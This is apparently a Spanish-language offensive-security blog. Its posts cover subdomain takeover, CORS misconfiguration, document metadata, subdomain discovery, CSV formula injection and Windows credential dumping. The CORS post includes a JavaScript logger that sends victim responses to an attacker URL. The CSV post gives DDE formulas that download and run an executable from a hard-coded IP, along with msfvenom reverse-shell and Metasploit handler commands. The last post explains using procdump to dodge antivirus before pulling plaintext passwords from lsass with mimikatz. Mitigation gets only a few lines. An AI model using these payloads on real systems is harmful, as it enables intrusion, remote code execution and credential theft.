jueves, 16 de agosto de 2018

Adquisición de subdominios conceptos básicos

Introducción

¿sabias que es posible que algunos subdominios sean adquiridos por otras personas? esto se debe al hecho que para algunos de sus registros DNS (principalmente CNAME) habilito la delegacion de zona.

Una adquisición de subdominio se considera una amenaza de gravedad alta y se reduce al registro de un dominio por otra persona (con malas intenciones) con el fin de obtener el control sobre un o mas subdominios. Esto presenta un vector de ataque interesante, que incluso puede conducir a varios riesgos de alta gravedad.

Escenario

Imagine que trabaja para una empresa global que tiene como dominio principal ficticio.com. Ahora debido a que estamos en el siglo 21 es muy común tener tiendas de comercio electrónico en linea, ademas de tu comercio en tu tienda local. Hay muchos proveedores de comercios electrónicos en la nube muy populares como son: Shopify, Magento, etc, por lo que puedes configurar tu tienda en una de estas opciones disponibles.

Después de haber realizado lo que es la instalación, configuración, el proveedor de la tienda en linea te configura un subdominio de la siguiente manera ficticio.shopify.com para tu tienda. Esto no parece muy atractivo ni profesional para compartir con tus clientes, por lo que usted desea que este su marca ejemplo: shop.ficticio.com

Para lograr esto usted tendra dos opciones de configuracion:

1.- un HTTP de redireccion 301/302 se encargara de redirigir a los visitantes a shop.ficticio.com, aunque este enfoque es menos atractivo.

2.- configuracion de un registro DNS CNAME que delegara la resolucion DNS directamente al proveedor de comercio electronico (shopify en este caso), pero no todos los proveedores de la nube admiten la delegacion de DNS usando CNAME.

como el enfoque CNAME es mas robusto elegiremos esta opción.

un año mas tarde, las actividades del comercio electrónico de su empresa son un desastre total. Por varias razones, los objetivos de ingresos no fueron alcanzados. La administración operativa le indica que desconecte la tienda de comercio electrónico hasta que se redefina la estrategia. Para ahorrar dinero se cancela la suscripción de comercio electrónico de terceros (shopify). Ahora, es el momento en el que se presenta el riesgo de una posible adquisición de subdominio: ya que puede olvidarsele fácilmente actualizar o eliminar el registro CNAME en su archivo de zona DNS.

En pocas palabras, cuando no elimina el registro CNAME de su zona de archivo DNS, cualquiera pudiera registrar una nueva tienda de comercio electronico en el mismo entorno (shopify) y por lo tanto adquirir ficticio.shopify.com el cual todavia se encuentra en el DNS del servidor ficticio.com.

Este escenario puede parecer nuevo o desconocido para alguno de ustedes, pero de hecho, una adquisicion de dominio es una amenaza emergente.

La adquisición de dominio puede encontrarse en diferentes servidores importantes como son bancos, instituciones gubernamentales y muchos otros. 

Proveedores en la nube

Por supuesto, esta vulnerabilidad no se limita solo a plataformas de comercio electrónico como shopify o magento, sino a una gran industria de proveedores en la nube. Muchos registros CNAME apuntan a grandes proveedores en la nube como son Amazon AWS o Microsoft Azure. En estos ejemplos, y cuando se alcanzan ciertas condiciones, se puede lograr una adquisición de subdominio con bastante facilidad.

El riesgo

Por lo general, las organizaciones no auditan la configuración DNS regularmente. Muchas veces, no hay un proceso estandarizado para agregar, cambiar o eliminar entradas de su archivo de zona DNS. 

Las consecuencias de una adquisición de dominios puede ser bastante malas. Es una forma perfecta para que los atacantes inicien alguna campaña de phishing aprovechando su reputación de marca ya establecida. 
Los atacantes tambien pueden desencadenar ataques con mayor impacto, muchas aplicaciones exponen las cookies de sesión a un dominio (*.ficticio.com), por lo que cualquier subdominio puede acceder a ellas.

Prevención

La prevención de la adquisición de subdominio inicia con el monitoreo y análisis adecuados de los registros DNS. Un paso importante es encontrar subdominios y verificar que el CNAME ya no exista en nuestro servidor.

Herramientas disponibles

https://www.namecheap.com/
https://github.com/antichown/subdomain-takeover

martes, 7 de agosto de 2018

CORS mal configurado? (Intercambio de recursos de origen cruzado)

Definición

CORS o intercambio de recursos de origen cruzado, es un mecanismo que permite que recursos restringidos (como por ejemplo, las tipografías) de una pagina web puedan ser solicitados desde un dominio diferente por fuera desde el cual el primer recurso fue expuesto.




Acerca de la vulnerabilidad y como funciona CORS

Los sitios web normalmente habilitan CORS en el mismo origen de la web: 

Access-Control-Allow-Origin: https://ejemplo.com

Esto significa que las peticiones que hagan ellos desde otro lugar no se ejecutan ya que estas solo se permiten en el origen del encabezado.


En esta imagen podemos ver un ejemplo de como si hacemos una petición que no venga del origen (o que no quiera compartir con ese origen)que le indicamos la respuesta es bloqueada. Pero en dado caso que si queramos compartir con ese origen la respuesta se realiza:




El servidor también puede habilitar lo que son las credenciales utilizando el siguiente encabezado:

Access-Control-Allow-Credentials: true


Ahora, cuando confiamos en 1 solo origen es muy fácil, pero que pasa si deseamos confiar en mas origenes, esto se da mucho en las APIs hoy en dia, en las cabeceras se puede agregar uno o mas origenes utilizando un espacio:

Access-Control-Allow-Origin: http://ejemplo1.com http://ejemplo1.net


También se puede hacer uso del comodín * para especificar todos los subdominios, esto no indica que nosotros no podamos crear un subdominio loquesea.ejemplo.com mientras que este ataque podría permitir ver sus recursos compartidos, o simplemente si el dominio tiene en su lista blanca podemos ponernos a pensar formas de evasión ;).

Access-Control-Allow-Origin: *.ejemplo.com

Esto peligra cuando usamos * en CORS ya que esta es una mala implementacion la cual deshabilita simplemente el uso de las credenciales aunque estas estén en Verdadero, esto lo podemos ver como lo explica la pagina de Mozilla.

Entonces explicando esto, si usted ve un servidor o pagina web que emite la cabecera CORS con * el comodin deja lugar a que un atacante pueda especificar en la cabecera el Origen que el desee tal como:

curl https://victima.com -H "Origin: https://atacante.com" -I





Como resultado podemos ver recursos de otros sitios que no deberíamos poder ver.


Atacar CORS? Poc?


Entonces, esto de que me sirve? bueno pues gracias a que podemos hacer peticiones donde no deberíamos podemos simplemente hacer un Logger de peticiones que siempre este a la escucha, o simplemente hacer una petición para ver si funciona.

Primero, hacemos una petición y vemos si acepta nuestro origen.



Y después vemos la respuesta que nos da la cual permite nuestro dominio.



Digamos que esa peticion, es una donde se muestran los datos del usuario asi como sus credenciales.

Podemos hacer un poc y ver como funciona:


function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "https://target.com/user/", true); xhttp.withCredentials = true; xhttp.send(); }


Esto nos puede dar como resultado, los datos desde cualquier origen.




Siendo asi podemos crear un logger que nos vaya guardando todos los datos.

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerablecors.com',true); 
req.withCredentials = true;
req.send();

function reqListener() {

    location='http://atacante.com/gracias.php?c='+this.responseText; 

};


Esto es como cuando robas cookies.

El origen Nulo

https://www.w3.org/TR/cors/#access-control-allow-origin-response-header

La especificacion menciona que esta siendo activada por redirecciones, y algunas publicaciones de stackoverflow mustran que los archivos locales HTML tambien la obtienen. Esto hace que muchos sitios web lo tengan en su lista blanca:

Origin: null

Entonces esto realmente es explotable?


Gracias Shodan.io
https://www.shodan.io/search?query=%22Access-Control-Allow-Origin%3A+null%22+


Conclusión

En conclusion configurar correctamente tus cabeceras tal como CORS puede evitarte que tengas fugas de informacion de tu pagina web y otras personas puedan acceder a tus recursos.



Referencias:

https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

http://ejj.io/misconfigured-cors/

https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

https://www.cynet.com/blog-facebook-originull/

https://bugbountypoc.com/exploiting-cross-origin-resource-sharing/


  

domingo, 29 de julio de 2018

Extrayendo metadatos

¿Que son los meta datos en un documento?

Cada vez que tu creas un documento sea pdf, word, excel, powerpoint o cualquier software de ofimática. Este mismo cuando tu guardas el documento inserta automáticamente información sobre el mismo, tal como: el autor, fecha de creación, fecha de modificación, software editor, nombre de la compañía,etc.


¿Como encontramos documentos públicos expuestos en algún sitio web de interés?

Una de las maneras de encontrar es usando Google Hacking, aunque Google no es el único que indexa también podemos usar Bing, Yahoo!, o simplemente cambiar de dominio a subdominio. Les dejo algunos tutoriales que había creado anteriormente que le pueden servir en este paso:

1.- http://arthusu.blogspot.com/2015/05/google-hacking.html
2.- http://arthusu.blogspot.com/2018/07/encontrando-subdominios-diferentes.html


¿Para que pueden ser utilizados los meta datos y por que son tan importantes?

La información que incluyen los meta datos son muy importantes en la fase de recolección de un Pentester. Algunos ejemplos podrían ser:

1.- el nombre de los autores se puede usar para  investigar a un usuario de la compañía con lo cual podemos realizarle ataques de phishing.
2.- el nombre de los autores se puede usar para realizar ataques por fuerza bruta a servicios (webmail, vpn, blog, ssh, ftp, rdp, etc)
3.- el software utilizado nos sirve para saber que tecnologias usan la compañias de esta manera nos podemos adaptar realizando un ataque, un ejemplo podría ser un excel malicioso (http://arthusu.blogspot.com/2018/07/inyeccion-de-formulas-de-excelcsv-en.html)
4.- la fecha de creación y de modificación nos puede indicar que el autor o usuario todavía trabaja en esa compañía.
5.- Hay otros meta datos que nos podrían ser de interés.

Extrayendo meta datos con Foca

1.- Descargamos Foca desde Eleven Paths
2.- Hacemos una busqueda en Google de documentos y descargamos un documento de ejemplo

3.- Abrimos el documento con FOCA, añadimos el archivo o carpeta, le damos en Extract all metadata (extraer todos los meta datos), y luego en analyze meta data (analizar los meta datos) y he aquí la información.





 


Otras herramientas:

ExifTool: https://www.sno.phy.queensu.ca/~phil/exiftool/
Metadata Viewer: https://www.get-metadata.com/


viernes, 27 de julio de 2018

Encontrando Subdominios diferentes metodos

Introducción


Una de las fases mas importantes en el pentest, es la fase de reconocimiento, ya que es donde juntas toda la información, para después atacar una aplicación web, un servidor, etc.

Aveces pasa que después de buscar vulnerabilidades en una aplicación no encuentras nada de nada, entonces es cuando puede entrar la búsqueda de subdominios, cuando no hay una aplicación vulnerable puede haber otra dentro del mismo servidor, les comento no es la única forma de entrar, pero de esto se trata este tutorial.

Métodos:


2.- Una herramienta muy util es DNSDumpster de HackerTarget (https://dnsdumpster.com/)



5.- Usar Google o Bing o Yahoo Search Dorks: (site:*.underc0de.org -www y le vas agregando el menos para quitar mas subdominios, site:*.underc0de.org -www -servicios -blog)


7.- Fuerza bruta en subdominios: (https://github.com/aboul3la/Sublist3r)


Comentarios Finales

No quise ser muy descriptivo ya que doy por hecho que todos los que leemos este blog sabemos usar tools, y pues la mayoría trata de ello, les puede ser muy útil esta tutorial al recolectar información de un servidor al cual quieren analizar.

miércoles, 4 de julio de 2018

Inyeccion de Formulas de Excel/CSV en aplicaciones web

Existen muchas aplicaciones que exportan archivos CSV los cuales son generados por que recogen desde la base de datos la informacion.
En estos archivos podemos inyectar formulas con las cuales explotamos el sistema operativo ejecutando codigo arbitrario.








Comandos

Ejecutar un proceso en el sistema operativo:
=cmd|' /C calc'!'A1'
=cmd|' /C calc'!notthissheet
=cmd|' /C calc'!xxx
=cmd|'/Ccalc.exe'!z

Ejecutar una shell con metasploit
=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/first.exe" -OutFile "$env:Temp\first.exe"; Start-Process "$env:Temp\first.exe"'!A1

=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/Meterpreter.exe" -OutFile "$env:Temp\Meterpreter.exe"; Start-Process "$env:Temp\Meterpreter.exe"'!A1

Shell
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=222.222.166.136 LPORT=666 -b "\x00" -e x86/shikata_ga_nai -f exe -o C:/first.exe

Meterpreter

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=222.222.166.136 LPORT=666 -b "\x00" -f exe -o C:/Meterpreter.exe

Poner metasploit a la escucha:

Shell
# msfconsole
> use exploit/multi/handler
> set payload windows/shell/reverse_tcp
> set LHOST 222.222.166.136
> set LPORT 666
> show options
> run

Meterpreter
# msfconsole
>use exploit/multi/handler
>set PAYLOAD windows/meterpreter/reverse_tcp
>set LHOST 222.222.166.136
>set LPORT 666
>set ExitOnSession false
>exploit -j -z
>help
>webcam_stream

Aplicaciones en:
Encuestas, Reportes generados por maestros, una tienda, hasta un banco que genera reportes, etc.


Mitigacion

Agregar un ' o espacio o cualquier letra antes de la formula =FORMULA comience.
Puedes verificar que las celdas no tengan estos caracteres.
* Igual a ("=")
* Suma ("+")
* Menos ("-")
* Arroba ("@")


En las últimas versiones de OpenOffice Calc y LibreOffice Calc, la funcionalidad de ejecución de comandos de la fórmula DDE se revocó después del descubrimiento inicial de una vulnerabilidad de inyección de comandos (CVE-2014-3524).

Office si acepta solo que muestra mensajes de seguridad que vieniendo la pagina que ellos entraron no tienen por que desconfiar.

https://scarybeastsecurity.blogspot.com/2010_06_01_archive.html <- estudio que muestra que 50% de los usuarios dan clic en enlaces y siguen confiando en ellos (Open Redirect Vulnerability)


Codigo Fuente para prueba de Concepto:


MSFvenom Payload Creator (MSFPC) By g0tmi1k


MSFVenom Payload Creator es un rapido generador de payloads por la via de msfvenom parte de metasploit framework.
Puedes generar multiples tipos de payloads a decision tuya la idea es ser lo mas simple posible solo requiere una entrada.

Puedes generar diferentes tipos de payloads
 
<TYPE>:
   + APK
   + ASP
   + ASPX
   + Bash [.sh]
   + Java [.jsp]
   + Linux [.elf]
   + OSX [.macho]
   + Perl [.pl]
   + PHP
   + Powershell [.ps1]
   + Python [.py]
   + Tomcat [.war]
   + Windows [.exe // .dll]

Usando procdump y mimikatz para retornar las credenciales de windows

Procdump? mimikatz?

mimikatz es una herramienta conocida por que puede extraer las credenciales de windows en texto plano.

procdump de sysinternals es una utilidad de linea de comandos cuyo proposito principal es monitorear una aplicacion y generar volcados de emergencia.

Cual es el problema?

Mimikatz es detectado por demasiados antivirus: Resultado de Virus Total

Por lo cual no puede ser usado en un servidor explotado.

Cual es la solucion?

procdump es una herramienta legitima de microsoft por lo cual no es detectada por el antivirus. El objetivo es volcar el proceso lsass.exe que contiene las credenciales y luego usarlo con mimikatz. Debes de ser administrador para poder utilizarlo. Puedes volcarlo de la siguiente manera:

procdump.exe -accepteula -ma lsass.exe dump.dmp


Resultado

A partir de esto tendra un archivo de volcado del proceso lsass.exe, puedes copiarlo desde el servidor explotado y usar el mimikatz para recuperar las contraseñas en texto plano:

sekurlsa::minidump dump.dmp
log
sekurlsa::logonPasswords